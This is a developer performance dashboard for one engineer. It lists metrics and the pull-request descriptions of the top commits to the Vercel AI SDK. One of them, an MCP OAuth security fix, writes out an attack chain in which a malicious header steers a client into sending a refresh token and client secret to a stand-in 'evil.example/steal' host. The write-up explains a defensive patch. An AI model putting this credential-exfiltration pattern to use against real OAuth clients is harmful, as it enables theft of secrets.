Aayush Kapoor
90d · built 2026-09-08
Performance
What Aayush Kapoor shipped in the selected window, measured in ETV, and how it compares with the 90 days before it.
Effective capacity
+1.5engineers
delivers like 2.5 (2.5x pre-AI)
Output (ETV)
26.7ETV
−18.1% vs 32.6 prior
Features share
34.9%
+5.7 pp vs prior window
Fixes share
18.3%
+7.3 pp vs prior window
Work mix
34.9% Features4.9% Maintenance35.6% Tests6.3% Docs18.3% Fixes
91 commits over 90 days, ending 2026-09-08.
Where this dev ranks
Percentile against the global top-100 leaderboard (all-time totals).
- By commits
- Top 75 %
- By Features share
- Top 64 %
Daily performance
Daily ETV, stacked by Features, Maintenance, Tests, Docs and Fixes.
Repository spread
Where this developer's commits land. Concentrated work (top1 > 80%) vs polymath spread (top1 < 30%).
Most impactful commits
Top 10 by ETV in the last 90 days.
- 3.9ETVfeat: add first-party Code Mode package (#18091) ## Background works towards https://github.com/vercel/ai/issues/18071 the idea is to unify the different provider implementations of programmatic tool calling / code-mode. ## Summary add a new `@ai-sdk/code-mode` package that will export the necessary controls for executing the tools in that format ## End-to-End Verification - ran the example `examples/ai-functions/src/generate-text/code-mode/code-mode.ts` - ran the example `examples/ai-functions/src/stream-text/code-mode/code-mode.ts` - ran the example `http://localhost:3000/chat/code-mode` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work - api syntax will change - docs need to be added - tool approval mechanism needs to work - workflow boundary concerns ## Related Issues towards #18071 fixes #18141github.com-vercel-ai · 29d7b679 · 2026-07-30
- 2.3ETVfeat(codemods): add codemods for v6 to v7 migration (#16227) ## Background Chore work for v7 of AI SDK ## Summary the codemods were added for the following changes: - `v7/remove-experimental-custom-provider` - `v7/remove-experimental-generate-image` - `v7/replace-experimental-output-with-output` - `v7/remove-experimental-prepare-step` - `v7/replace-cached-input-tokens` - `v7/replace-reasoning-tokens` - `v7/remove-experimental-active-tools` - `v7/remove-tool-call-options-type` - `v7/remove-is-tool-or-dynamic-tool-uipart` - `v7/remove-media-content-part-type` - `v7/replace-anthropic-cache-creation-input-tokens` - `v7/rename-experimental-transcribe` - `v7/rename-experimental-generate-speech` - `v7/rename-call-settings-type` - `v7/rename-step-count-is` - `v7/rename-system-to-instructions` - `v7/rename-experimental-on-start-to-on-start` - `v7/rename-experimental-on-step-start-to-on-step-start` - `v7/rename-on-finish-to-on-end` - `v7/rename-on-step-finish-to-on-step-end` - `v7/rename-experimental-on-finish-to-on-end` - `v7/rename-experimental-telemetry-to-telemetry` - `v7/rename-on-rerank-finish-to-on-rerank-end` - `v7/rename-on-embed-finish-to-on-embed-end` - `v7/rename-full-stream-to-stream` - `v7/move-include-raw-chunks-to-include` - `v7/rename-experimental-include-to-include` - `v7/rename-experimental-on-tool-call-start-to-on-tool-execution-start` - `v7/rename-experimental-on-tool-call-finish-to-on-tool-execution-end` - `v7/rename-experimental-context-to-context` - `v7/rename-google-generative-ai-to-google` - `v7/replace-image-message-part-with-file` ## Manual Verification - test fixtures were added - tested by running codemods on the repo https://github.com/vercel-labs/open-agents ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work verify on a real codebasegithub.com-vercel-ai · 9f12cd24 · 2026-06-17
- 1.5ETVfeat(ai): use tracing channels to track parent-child context (#15660) ## Background we introduced diagnostic channels in https://github.com/vercel/ai/pull/14854 as a way to propagate event data. but the problem was that there was no to establish a relation with the parent and child calls that happen when consuming information via the diagnostics channels. context propagation for subagents remained unsolved (meaning subagents will be detached from the main parent call) ## Summary - use `tracingChannel()` instead of diagnostic `channel()` - model and tool execution are now wrapped with `tracingChannel.tracePromise(...)` via the existing `executeLanguageModelCall` and `executeTool` dispatcher paths - in unsupported/non-Node runtimes, tracing dynamically no-ops and directly runs the original callback/execution ## Manual Verification verified that event data is still transmitted at each lifecycle event by running the example `examples/ai-functions/src/telemetry/tracing-channel/generate-text.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review)github.com-vercel-ai · b097c52a · 2026-06-15
- 1.4ETVfeat(code-mode): add signed interruption continuations and nested tool replay (#18292) ## Background #18143 Code mode can call multiple nested tools in one sandbox execution. We needed a way to pause at a sensitive tool, wait for approval and later continue without repeating tools that already executed ## Summary added signed, expiring continuations that let code-mode pause for nested tool approval and resume through deterministic replay without repeating completed tool calls. ## End-to-End Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work wire it with ai core approvals flow ## Related Issues towards #18143github.com-vercel-ai · 8b7f8050 · 2026-08-03
- 0.9ETVfix: Bedrock Claude Opus structured output fails after multi-step tool calls (#17222) ## Background Bedrock Claude Opus 4.7/4.8 could return malformed structured output after verbose multi-step tool calls, causing AI_NoObjectGeneratedError. ## Summary For Opus 4.7/4.8 tool workflows, the provider now injects the JSON schema into the prompt instead of using an unreliable synthetic response tool, avoids unsupported native structured output fields, and extracts the complete JSON object from generated text. ## Testing Updated the existing Bedrock chat language model tests to verify schema instruction injection, exclusion of the synthetic response tool, and normalization of fenced or trailing structured output. ## End-to-end Validation - `pnpm tsx -e ...` verbose six-page Opus 4.8 batch: completed six tool rounds and all 12 tool results, then returned schema-valid output after a 96,123-input-token final step. ## Related Issues Fixes #16662 Co-authored-by: igalmazor <218749803+igalmazor@users.noreply.github.com>github.com-vercel-ai · b0e9d241 · 2026-07-14
- 0.8ETVfeat(mcp): add mcp 2026 streamable HTTP support (#19029) ## Background MCP 2026-07-28 removes protocol-level HTTP sessions and requires request metadata to be mirrored into headers. These changes let `@ai-sdk/mcp` communicate with modern servers while preserving compatibility with initialization-based servers. Reference: https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/streamable-http ## Summary - Added Streamable HTTP behavior - Added required HTTP headers: `Mcp-Method` `Mcp-Name` ## End-to-End Verification verified by running the example in `examples/mcp/src/http-2026/client.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues towards #19005github.com-vercel-ai · 0c60a40c · 2026-08-18
- 0.7ETVfeat(openai): add OpenAI Responses programmatic tool calling (#17790) ## Background OpenAI Responses models can use hosted JavaScript programs to coordinate client-owned functions, requiring provider support for tool configuration, nested caller correlation, result replay, and stored or stateless continuation. ## Summary Adds openai.tools.programmaticToolCalling(), OpenAIToolOptions allowedCallers and outputSchema settings, request serialization, program and program_output protocol handling, streaming support, nested caller correlation, deferred results, and correct metadata-preserving continuation for generateText and streamText. ## Testing The pull request covers hosted-tool serialization, caller modes, output schemas, response and stream conversion, caller round-tripping, deferred results, stored and stateless replay, public types, and providerMetadata item references. Focused Node and Edge tests passed, and full repository tests and type checks completed successfully. ## End-to-end Validation - The OpenAI gpt-5.6 generateText example completed successfully in this iteration. - The complete pull request has also been live-validated for generateText and streamText with stored and `store: false` programmatic tool loops. - verified by running `http://localhost:3000/chat/openai-programmatic-tool-calling` ## Documentation Adds OpenAI provider documentation for setup, caller modes, output schemas, function-tool scope, continuation behavior, and security guidance, plus a generateText example and a patch changeset. ## Related Issues Fixes #17767 Co-authored-by: aayush-kapoor <83492835+aayush-kapoor@users.noreply.github.com>github.com-vercel-ai · 1f6dd3a8 · 2026-07-23
- 0.7ETVfix(ai): prevent generateText from accepting responses that violate required tool choices (#19872) ## Background https://github.com/vercel/ai/issues/8992 the factory started a fix for v6 in https://github.com/vercel/ai/pull/19806 so this is basically a port of the change to v7. Before: - generateText forwarded toolChoice to the provider. - If the provider ignored 'required' and returned text, SDK accepted it successfully. - A specifically requested tool could also be ignored without an error ## Summary after the fix: - Parsed tool calls are checked against the effective toolChoice, including prepareStep overrides. - Missing/wrong calls throw `ToolChoiceViolationError` ## End-to-End Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [x] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #8992 closes #17834 --------- Co-authored-by: ai-sdk-factory <308175966+ai-sdk-factory@users.noreply.github.com> Co-authored-by: CIVITAS-John <12299703+CIVITAS-John@users.noreply.github.com> Co-authored-by: ai-sdk-factory[bot] <305873210+ai-sdk-factory[bot]@users.noreply.github.com>github.com-vercel-ai · 8b6b756a · 2026-08-31
- 0.6ETVfix(mcp): prevent mcp oauth credential exfiltration during rediscovery (#15963) ## Background there was an issue in the mcp oauth flow. currently, on a `401` the MCP transport accepted this header: ``` WWW-Authenticate: Bearer resource_metadata="https://evil.example/.well-known/oauth-protected-resource" ``` then `authInternal` would fetch that protected resource metadata (PRM) URL, read: ``` { "resource": "https://api.example.com/mcp-server", "authorization_servers": ["https://evil.example"] } ``` then it would discover `https://evil.example/.well-known/oauth-authorization-server` then refresh would POST to https://evil.example/steal with: ``` grant_type=refresh_token refresh_token=real-refresh-token client_id=real-client client_secret=real-secret ``` so the `resource` validation did not protect the authorization server/token endpoint. ## Summary we added 2 guards: - an explicit `resourceMetadataUrl` from WWW-Authenticate must be same-origin with the configured MCP server - stored credentials are pinned to the authorization server/token endpoint that issued them ## Manual Verification na ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Future Work see if any docs changes are neededgithub.com-vercel-ai · f0c67704 · 2026-06-10
- 0.6ETVfeat: add experimental_toolCaller routing to generateText for code mode (#18219) ## Background https://github.com/vercel/ai/issues/18142 Previously, code mode required passing tools directly into `createCodeModeTool` but we wanted one shared tools object and explicit control over who can call each tool ## Summary - Added `experimental_codeModeTool()` for late binding. - Added `generateText({ experimental_toolCallers })` ```ts import { experimental_codeModeTool as codeModeTool } from '@ai-sdk/code-mode'; const tools = { code_mode: codeModeTool({ executionPolicy: { timeoutMs: 30_000, memoryLimitBytes: 64 * 1024 * 1024, }, }), getInventory, getDemand, }; const result = await generateText({ model: 'moonshotai/kimi-k3', tools, experimental_toolCallers: ({ code_mode }) => ({ getInventory: [code_mode], getDemand: [code_mode], }), stopWhen: isStepCount(20), prompt: 'compare inventory and demand for product sku_123.', }); ``` ## End-to-End Verification ran the example `examples/ai-functions/src/generate-text/code-mode/code-mode.ts` ## Checklist - [x] All commits are signed (PRs with unsigned commits cannot be merged) - [x] Tests have been added / updated (for bug fixes / features) - [ ] Documentation has been added / updated (for bug fixes / features) - [x] A _patch_ changeset for relevant packages has been added (for bug fixes / features - run `pnpm changeset` in the project root) - [x] I have reviewed this pull request (self-review) ## Related Issues fixes #18142github.com-vercel-ai · b192878a · 2026-07-30